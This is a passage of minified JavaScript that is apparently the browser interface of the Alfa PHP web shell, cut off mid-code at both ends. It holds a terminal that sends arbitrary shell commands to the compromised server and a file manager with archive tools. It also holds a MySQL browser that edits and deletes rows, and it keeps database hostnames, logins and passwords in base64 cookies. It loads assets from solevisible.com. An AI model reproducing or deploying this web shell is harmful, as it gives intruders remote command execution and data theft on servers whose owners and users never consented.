select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name='"+e[c].col+"' rows='5'>"+e[c].value+"</textarea>";break;case"input":u="<input type='"+e[c].type.type+"' name='"+e[c].col+"' value='"+e[c].value+"'>"}s+="<tr><th style='text-align: left;'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style='margin-left:20px;'><button col_key='"+l+"' key='"+r+"' tbl_name='"+o+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"edit\");return false;'>Update</button></div><div class='mysql-update-result'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+='<optgroup label="'+t[l].key+'">',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw'"msg parameter is empty"';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="sql-content sql-active-content">'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",'<div id="tab_'+i+'" opt_id="'+i+'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="'+i+'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\'sql\',null,\'\',\'\',\'\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",'<div id="'+o+'" class="options_holder">'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",'<div opt_id="'+o+'" onclick="optionsTabController(this);" title="'+l+'" id="tab_'+o+'" class="tab_name tab_is_active">'+l+' <img opt_id="'+o+'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var l=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+i+'");'+l),t.setAttribute("opt_id",e+i)}else{l=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+i+'");'+l)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var i=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+'");'+i),t.setAttribute("opt_id",e)}else{i=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+'");'+i)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab \t.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\/\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="terminal-content'+t+'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+'\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+"',0);\">-</button><input onchange=\"alfaTerminalChangecolor(this,'"+i+'\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="'+i+'" onSubmit="alfaExecTerminal(this);this.c.value=\'\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\''+i+'\');" term_id="'+i+'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\'free\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="'+i+'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="'+i+'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="http://solevisible.com/icons/menu/time2.svg"></div></form></div></div></div>');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="terminalTabController(this);" term_id="'+i+'" id="tab_'+i+'" class="terminal-tab'+a+'">Terminal <img term_id="'+i+'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="alfaOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+='<a base_id="'+i+'" fname="'+t[s]+'" path="'+l+o+'" onclick="alfaOpenArchive(this);">'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows='<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+='<tr class="dbh_'+o+'"><th>'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\'alfaConnectToDb("'+o+'","'+a+'");\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\'alfaDeleteConnectToDb("'+o+"\");'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+a+"</div>");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",btoa(JSON.stringify(o)),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" 